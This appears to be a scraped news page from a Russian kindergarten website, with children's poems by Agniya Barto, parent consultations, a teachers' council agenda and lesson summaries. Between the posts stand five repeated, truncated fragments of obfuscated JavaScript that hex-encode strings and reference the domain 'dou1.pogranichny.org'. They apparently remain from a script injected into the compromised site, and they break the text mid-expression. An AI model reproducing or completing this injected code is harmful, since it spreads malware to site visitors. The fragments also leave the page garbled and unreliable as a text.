Решаем вместе
Не можете записать ребёнка в сад? Хотите рассказать о воспитателях? Знаете, как улучшить питание и занятия?

Повышение престижа профессии педагога

В рамках реализации комплексной программы повышения профессионального уровня педагогических работников общеобразовательных организаций (от 28 мая 2014 года № 3241п-П8) Минобрнауки России разработаны 3 социальных видеоролика по следующим тематикам: «Учитель – больше, чем профессия!», Говорите учителям «Спасибо», «Учителя – гордость России».

Скачать ролики: https://drive.google.com/folderview?id=0B8feKCxXXpfuQ3A0d0pDenR0MlE&usp=sharing

По ссылке находятся два ZIP архива, в каждом из них упакованы по 3 ролика.
Если Вы используете широкоэранный монитор — качайте файл «16х9 финал.zip» (210 МБ). Если у Вас обычный монитор (с соотношением сторон 4:3) — качайте файл «4х3 финал.zip» (105 МБ).

«Учим дома с детьми: стихи Агнии Барто»

 

ГРУЗОВИК

Нет, напрасно мы решили

Прокатить кота в машине:

Кот кататься не привык —

Опрокинул грузовик.

 

ВОТ ТАК ЗАЩИТНИК!

 

Я свою сестренку Лиду

Никому не дам в обиду!

Я живу с ней очень дружно,

Очень я ее люблю.

 

А когда мне будет нужно,

Я и сам ее побью.

 

УТИ-УТИ

 

Рано, рано утречком

Вышла мама-уточка

Поучить утят.

 

Уж она их учит, учит!

Вы плывите, ути-ути,

Плавно, в ряд.

 

Хоть сыночек не велик,

Не велик,

Мама трусить не велит,

Не велит.

 

— Плыви, плыви,

Утёныш,

Не бойся, Не утонешь.                                                 

 ЧУДЕСА

 

Чудеса! — сказала Люба.-

Шуба длинная была,

В сундуке лежала шуба,

Стала шуба мне мала.

 

ЛЯГУШАТА

 

Пять зелёных лягушат

В воду броситься спешат —

Испугались цапли!

А меня они смешат:

Я же этой цапли

Не боюсь ни капли!

 

СМЕШНОЙ ЦВЕТОК

 

Смешной цветок поставлен в вазу!

Его не полили ни разу,

Ему не нужно влаги,

Он сделан из бумаги.

 

А почему такой он важный?

А потому, что он бумажный!

 

Воспитатель 8 группы Гаврилова М.В.

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Консультация для родителей: «Домашние животные в жизни малышей»

 КОНСУЛЬТАЦИЯ
для родителей: «Домашние животные в жизни малышей»
 С самого раннего возраста необходимо приучать детей к общению и ухаживанию за домашними животными вместе с родителями. Участвуя, в этом проекте дети и их родители должны научиться:
  • Формированию эмоционально-положительного отношения к домашним животным и их детёнышам;
  • Положительным эмоциям от совместной работы и полученного результата.
Интеллектуальное развитие:
— Животные являются источником первых знаний о природе. Ребенок видит животное — он к нему тянется, распознает названия, отмечает различия, познает его поведение.
 — Животные являются источником развития сенсорики. Ни одна обучающая игрушка не может сравниться с природой. Ребенок непосредственно через органы чувств воспринимает объект: форму, величину, цвет, запах, пространственное расположение, движения, мягкость, фактуру шерсти и т.д.
 — Животные являются источником развития логического мышления. На основе представлений о животных, дети учатся видеть связи и зависимости: киса мяукает у миски — голодная.
 — Животные источник для различных видов деятельности – наблюдение, игра, труд, творчество и т.д. В результате формируется любознательность, наблюдательность, развивается фантазия.
 Животные – источник нравственного воспитания:
— Источник первых переживаний и радости. Ребенок испытывает положительные эмоции в общении с животным. В современном обществе как раз больше всего не хватает положительных переживаний.
 — В процессе общения у ребенка развиваются чувства прекрасного. Они учатся видеть естественную красоту.
— В процессе деятельности ребенок учится проявлять бережное (пассивное) и заботливое (активное) отношение к животному миру в целом. Таким образом у ребенка формируется основы экологической культуры, которая является составной частью духовной культуры.
 Животные – источник эстетического воспитания и развития:
Натуральная и естественная красота побуждает детей к творчеству. Дети любят, стремятся отражать свои переживания с животным в детских стихах, рассказах собственного сочинения и конечно же в изо-деятельности.
 Источник трудового воспитания:
В процессе наблюдения, ребенок знакомится с несложными трудовыми операциями. Под руководством взрослых у него формируются элементарные навыки по уходу за животными. Приобретаются дополнительные сведенья об условиях жизни в природе и в домашних условиях.
 Источник физического развития:
Животные — источник укрепления здоровья, психического развития: в процессе прогулок с собакой, хорьком, кроликом и т.д, в процессе труда дети также совершенствуются физически.
Воспитатель 8 группы Е.В. Шумкова

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Педагогический совет

«Игра – ведущий вид деятельности дошкольника».

С этим положением никто не спорит. Но как это реализуется в современной практике?

27 января  2016 года прошло заседание педагогического совета по теме: «Развитие игровой деятельности в условиях реализации Федеральных государственных образовательных стандартов».DSC00804
Цель: повысить значимость игры в воспитательно-образовательном процессе ДОУ, как основного вида деятельности детей.

Повестка  педсовета:

1.Современная практика организации игровой деятельности.

Анализ анкетирования педагогов.

Отв.Г.Н.КоваленкоDSC00794

2.Игровые технологии в детском саду.

Отв.Л.И.Лишавская

3.Особенности игры в раннем возрасте.

Отв. Е.В.Шумкова

4.Технология сюжетно-ролевых игр в старшей группе.

Отв.И.В.Ситникова

5.Обобщение опыта работы: по теме: «Формирование речи детей в игровой деятельности».

Отв.А.А.Пронина

6.Обобщение опыта работы: по теме: «Театрализованная игра, как средство развития речи детей».

Отв.Р.Ф.ЖдановаDSC00798

7.Игра: «Поле чудес»

Отв.Е.В.Бурма

Решение педсовета:

1)     Вводить игры и игровые приемы разнообразного содержания во все режимные моменты, что должно быть отражено в рабочих планах. Уделить особое внимание организации и проведению подвижных игр на прогулке.

2)      В целях совершенствования условий для организации сюжетно — ролевых игр в группах пополнить развивающую среду атрибуты для игр в соответствии с возрастом.

3)      Систематически планировать и проводить сюжетно — ролевые игры в соответствии с программными требованиями.

4)      Информировать родителей о значимости сюжетно-ролевой игры в жизни ребёнка, вовлекать родителей в организацию игровой деятельности детей.

Подготовить консультацию для родителей о значении сюжетных игр для детей дошкольного возраста.

 

 

Русская печь

27 января  в  старшей группе  №3 прошла непрерывная непосредственно образовательная деятельность  «Русская печь», образовательная область:  «Социально-коммуникативное развитие». Патриотическое воспитание.IMG_20160127_091105

Программное содержание занятия: воспитывать интерес к народному быту, формировать образную речь, употреблять в разговорной речи пословицы,  поговорки; обогащать словарь названиями предметов быта: самовар, ухват, кочерга, печь устьице, чугунок,  сарафан, лапти, прялка;  развивать речевую активность детей, поощрять стремление рассуждать, высказывать свое мнение, делать умозаключения, развивать логическое мышление. IMG_20160127_091244

 

Воспитатель:

Т.А.Тарасова

 

 

Безопасность

26 января  в  старшей группе  №4 прошла непрерывная непосредственно образовательная деятельность  «Служба спасения 01», образовательная область:  «Социально-коммуникативное развитие». Формирование основ безопасности.20160126_092305

Программное содержание занятия: сформировать у детей понятие  «Пожарная безопасность, закрепить знания о причинах возникновения пожара; умение осознанно действовать в экстремальных ситуациях, связанных с возникновением пожара, закрепить знания о труде пожарных, воспитывать уважение и интерес к этой профессии; развивать речевую активность детей, поощрять стремление рассуждать, высказывать свое мнение, делать умозаключения, развивать логическое мышление. 20160126_093118-1

 

Воспитатель:

А.А.Пронина

Проектная деятельность

25 января воспитатель Ирина Германовна Гадеева провела открытый просмотр по проектной деятельности «Знатоки природы»  в средней  группе №5.IMG_20160125_160724

Цель данного проекта: обобщить знания детей о живой и неживой природе, способствовать развитию познавательных интересов.IMG_20160125_155943

Ирина Германовна постаралась расширить знания детей о живой и неживой природе, показала их взаимосвязь, закрепила представления об условиях для роста и развития всех живых организмов на земле, продолжила воспитывать любовь к природе и бережное к ней отношение.

 

Старший воспитатель:

Г.Н.Коваленко

 

 

Конспект занятия

Конспект занятия по ручному труду в подготовительной к школе группе

«Украшение фоторамки».

Цель: Продолжать расширять представления детей о том, что одинаковые изделия можно украшать по  разному. Развивать умение самостоятельно придумывать узор и располагать его на рамке. Закреплять умение соблюдать характерные цветосочетания городецкой росписи. Воспитывать любовь  к своим близким, желание сделать им подарок. Продолжать знакомить с понятием дизайнер, дизайнерское искусство.

Методы и приемы: беседа, выставка фотографий, проблемно-мотивационный метод.

Предварительная работа: рисование: «Роспись фото-рамки», изготовление детьми дидактической игры «Составь узор», аппликация «Узор на фартуке», беседа на тему «Кто такие дизайнеры?»

Читать далее

Консультация для родителей

Консультация для родителей

«Как научить ребёнка убирать игрушки на свои места?»

Каждый ребёнок развивается в своём ритме и не появляется на свет с таким навыком, как аккуратность, но этому вполне можно научить и привить в процессе воспитания, следует лишь быть решительно настроенным и последовательным в своих намерениях. Дайте ему время, поверьте в него и он обязательно со всем справится самостоятельно. Одним из составляющих понятия аккуратность, является умение следить за порядком. Примерно в возрасте пяти лет ребёнок уже в состоянии сознательно и с пониманием отнестись к такому понятию, как «порядок». Вот несколько рекомендаций, которые помогут Вам в решении данной проблемы.

Читать далее

1 … 146 147 148 149 150 … 160